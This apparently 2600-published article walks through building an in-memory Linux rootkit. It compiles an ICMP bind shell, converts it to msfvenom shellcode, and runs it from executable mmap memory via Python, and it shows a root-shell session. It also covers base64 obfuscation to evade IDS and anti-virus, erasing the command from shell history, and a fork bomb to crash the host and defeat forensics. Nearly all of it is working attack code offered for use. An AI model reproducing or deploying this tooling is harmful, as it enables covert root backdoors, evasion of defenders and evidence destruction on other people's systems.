Tito: A Complete In-Memory Rootkit

by Mephistolist

For those not well versed on history, one of the most daring letters of all time was sent to Stalin from Josip Broz Tito who was a leader from the former Yugoslavia.  It only said the following:

"Stop sending people to kill me.  We've already captured five of them, one of them with a bomb and another with a rifle.  If you don't stop sending killers, I'll send one to Moscow, and I won't have to send a second."

Knowing Stalin's reputation at that time, not many people would make threats to him.  If they did, they were usually made an example of.  Tito lived on to age 87 only to die of complications from gangrene.  For whatever reason, his reports of assassination attempts also ended after that letter.  So he was one of the few people that at least scared Stalin enough to back off, which was very rare.

For this reason, when I thought of the stealthy assassin this rootkit could be, only one name came to mind.

It seems for a while now, most malware has been moving to an in-memory-only methodology.  Its obviously easier to find malicious files on disk.

While LKM, eBPF or userland rootkits were once the elite of hiding on UNIX-like systems, they all touch the disk.  More than that, most of them are hooking suspicious syscalls that any really good IDS or anti-virus should detect.  I had seen in-memory-only code run viri and other malware, but not any rootkits.  So I had to ask myself, what would an in-memory-only rootkit look like?

Despite the name, it's often a common mistake to assume rootkits give you root.  Usually they just help maintain access after a root or user level compromise has taken place.  Most provide a shell and hide from any commands like history, netstat, lsof, ps, and other tools an administrator might use for troubleshooting, or to look for normal malware.

I was able to find a lot of examples of running code in memory, but hiding a working shell became kind of a challenge.  Even if the process was hidden from everything else, I would see its port open in netstat.

After searching and banging my head for a while, the idea hit me there are other protocols that netstat can't see.  I didn't know if it was possible, but I was able to find a nice bind shell that uses ICMP instead of TCP or UDP that netstat would normally register.

$ wget https://phoenixnap.dl.sourceforge.net/project/icmpshell/ish/v0.2/ish-v0.2.tar.gz
...
$ tar xvzf ish-v0.2.tar.gz
ISHELL-v0.2
ISHELL-v0.2/ishell.h
ISHELL-v0.2/ish.c
ISHELL-v0.2/ish_main.c
ISHELL-v0.2/ish_open.c
ISHELL-v0.2/ishd.c
ISHELL-v0.2/Makefile
ISHELL-v0.2/TODO
ISHELL-v0.2/ChangeLog
ISHELL-v0.2/README
$ cd ISHELL-v0.2
$ make linux
gcc -O2 -Wall -o ish ish.c ish_main.c
strip ish
strip ishd
  -------------------------------------
  To fix the compiler warnings for ish_main.c:
  Change the sizeof(XXX) in the memset() calls to sizeof(*XXX)
  -------------------------------------

After building the shell with make linux I had two binaries: ishd and ish

The ishd binary is the actual shell and ish is the client to connect to it with.  Next it was time to make this ICMP shell into shellcode.

So we can use MSFvenom to generate that:

# While still in ISHELL-v0.2
$ msfvenom -p linux/x64/exec CMD=./ishd -f c -b "\x00\x0a\x0d" > shellcode.txt
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 87 (iteration=0)
x64/xor chosen with final size 87
Payload size: 87 bytes
Final size of c file: 393 bytes

Then use something like this to dump the shellcode into one line:

$ usr/bin/grep '"' shellcode.txt | tr "\n" " " | sed -e 's/\" \"//g' | sed -e 's/\"//g' | sed -e 's/;//g' > shellcode-raw.txt

Which on an x86_64 CPU should generate something like the following:

$ cat shellcode-raw.txt
\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa6\xa3\x1a\xd4\xa5\x07\x96\xe4\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xee\x1b\x35\xb6\xcc\x69\xb9\x97\xce\xa3\x83\x84\xf1\x58\xc4\x82\xce\x8e\x79\x80\xfb\x55\x7e\xf9\xa6\xa3\x1a\xfb\xcd\x68\xfb\x81\x89\xd3\x72\xe7\x96\x75\xb9\xad\xf5\xeb\x5f\x98\xe9\x2a\xe0\xd4\x88\x91\x35\xbd\xd6\x6f\xf2\xe4\xf0\xf4\x4e\x8a\xcf\x3c\xce\xeb\xa3\xa3\x1a\xd4\xa5\x07\x96\xe4

So now that we have this, we can use some Python like the following to call mmap and run the shellcode only in memory:

tito.py:

#!/usr/bin/python3
import mmap
import ctypes

# Shellcode
shellcode = (b"\x48\x31\xc9\x48\x81\xe9\xf7\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa6\xa3\x1a\xd4\xa5\x07\x96\xe4\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xee\x1b\x35\xb6\xcc\x69\xb9\x97\xce\xa3\x83\x84\xf1\x58\xc4\x82\xce\x8e\x79\x80\xfb\x55\x7e\xf9\xa6\xa3\x1a\xfb\xcd\x68\xfb\x81\x89\xd3\x72\xe7\x96\x75\xb9\xad\xf5\xeb\x5f\x98\xe9\x2a\xe0\xd4\x88\x91\x35\xbd\xd6\x6f\xf2\xe4\xf0\xf4\x4e\x8a\xcf\x3c\xce\xeb\xa3\xa3\x1a\xd4\xa5\x07\x96\xe4")

def execute_shellcode(shellcode):
    # Create a RWX (read-write-execute) memory region using mmap
    shellcode_size = len(shellcode)
    mem = mmap.mmap(-1, shellcode_size, mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS, mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)

    # Write the shellcode into the mmap'd memory
    mem.write(shellcode)

    # Get the address of the mmap'd memory and cast to a function pointer
    addr = ctypes.addressof(ctypes.c_char.from_buffer(mem))

    # Cast the address to a function pointer (CFUNCTYPE)
    shell_func = ctypes.CFUNCTYPE(None)(addr)

    print("Executing shellcode...")
    # Execute the shellcode
    shell_func()

# Run the shellcode
execute_shellcode(shellcode)

Running this file on an x86_64 instance of DebianTrixie, we can observe after running the above code "Executing shellcode..." prints to the screen.

There's nothing in netstat, ps, lsof, etc. that would indicate anything from this is running.  Now it's time to use our ish client to connect to wherever the shellcode is running:

$ ./ish 127.0.0.1
ICMP Shell v0.2 (client) - by: Peter Kieltyka
--------------------------------------------------
Connecting to 127.0.0.1...done.
# id
uid=0(root) gid=0(root) groups=0(root)

You can replace 127.0.0.1 with whatever IP this is deployed on.

Considering you executed the Python code as root, you should now have a root ICMP shell.  We still have a ways to go though.

Running plain shellcode will still probably make a good IDS or anti-virus scream bloody murder.  We can avoid this by encoding our shellcode with Base64.

Some will argue Base64 is suspicious too, but it's also often used for copyright protection.  So this will give us some plausible deniability.  There's also the fact we were just using a file, but we can execute this entire Python script on the command line, with our shellcode in Base64 encoding and some historical Tito flare like this:

$ python3 -c 'import base64, mmap, ctypes; encoded_shellcode = "SDHJSIHp9////0iNBe////9Iu6ajGtSlB5bkSDFYJ0gt+P///+L07hs1tsxpuZfOo4OE8VjEgs6OeYD7VX75pqMa+81o+4GJ03LnlnW5rfXrX5jpKuDUiJE1vdZv8uTw9E6KzzzO66OjGtSlB5bk"; shellcode = base64.b64decode(encoded_shellcode); mem = mmap.mmap(-1, len(shellcode), mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS, mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC); mem.write(shellcode); addr = ctypes.addressof(ctypes.c_char.from_buffer(mem)); shell_func = ctypes.CFUNCTYPE(None)(addr); print("... and I won't have to send a second."); shell_func()'

The only problem now is if someone checks the history command they will see the above code in it.  We can fix this by appending something like:

&& history -d $(history | awk 'END { print $1 }')

to the end of our command.  Our complete rootkit should finally look like this:

$ python3 -c 'import base64, mmap, ctypes; encoded_shellcode = "SDHJSIHp9////0iNBe////9Iu6ajGtSlB5bkSDFYJ0gt+P///+L07hs1tsxpuZfOo4OE8VjEgs6OeYD7VX75pqMa+81o+4GJ03LnlnW5rfXrX5jpKuDUiJE1vdZv8uTw9E6KzzzO66OjGtSlB5bk"; shellcode = base64.b64decode(encoded_shellcode); mem = mmap.mmap(-1, len(shellcode), mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS, mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC); mem.write(shellcode); addr = ctypes.addressof(ctypes.c_char.from_buffer(mem)); shell_func = ctypes.CFUNCTYPE(None)(addr); print("... and I won't have to send a second."); shell_func()' && history -d $(history | awk 'END { print $1 }')

Now we will not see this code being launched in the command line history either.

As far as detection, I suppose one could use a tool like volatility to search memory for the Base64 I have used here.  It won't stop others from using different encoding, packing, or encryption.  Or from altering the C code in ishd.c to change the shellcode and what any of its encoded, packed, or encrypted versions would come out to.

I've also only used the defaults for the shell, but there are many, many optional parameters that could be used to evade any IDS or anti-virus filters a blue team may attempt to stop this with.  Should I find a good one-size-fits-all solution for detection, I'll try to update it on this GitHub.

One might ask, isn't this code just going to stop when the device is rebooted?

That certainly doesn't sound like creating persistence, but consider this: Working in hosting, it was not that unusual to find a Linux server with 2000 days of uptime, which is about 5.5 years without a reboot.  In cases like this, it's not even necessary to implement persistence.  Because it's not persistent, one could argue this is just a Trojan or RAT, but I have not observed any Trojans or RATs hiding from ps, top, netstat, ls, etc. in the ways a normal rootkit would.

Should I find a method for in-memory persistence, I'll update the previously mentioned GitHub with this too.

If one is motivated, they could make a cron job to run this at boot time and use LD_PRELOAD to hide it.

However, that would require saving to disk and negate everything we've done to completely run in memory.  So I'll leave this to the reader to implement if they choose.

Lastly, I would like to talk about anti-forensics.

If we are careful to just run commands in the ICMP shell and not write to anything, then we haven't touched the disk at all.  This means we only need to worry about RAM for evidence of our intrusion.

If you do need to destroy any traces of the rootkit, you can just run a fork bomb like this on the command line of the shell:

$ :(){:|:&};:

That will crash the server or device you run it on, but with that anything done in the rootkit will be overwritten in memory, making forensics analysis a fruitless effort.

I would like to thank Peter Kieltyka for creating the initial ICMP shell.

I would also like to thank tmp.0ut, vx-underground, Phrack, what was previously vx-heavens, and of course 2600.  These groups either currently or previously teach/taught, inspire(d), and/or made the hacker scene and its knowledge what it is today.

Never stop being you.

Code: tito.py

Return to $2600 Index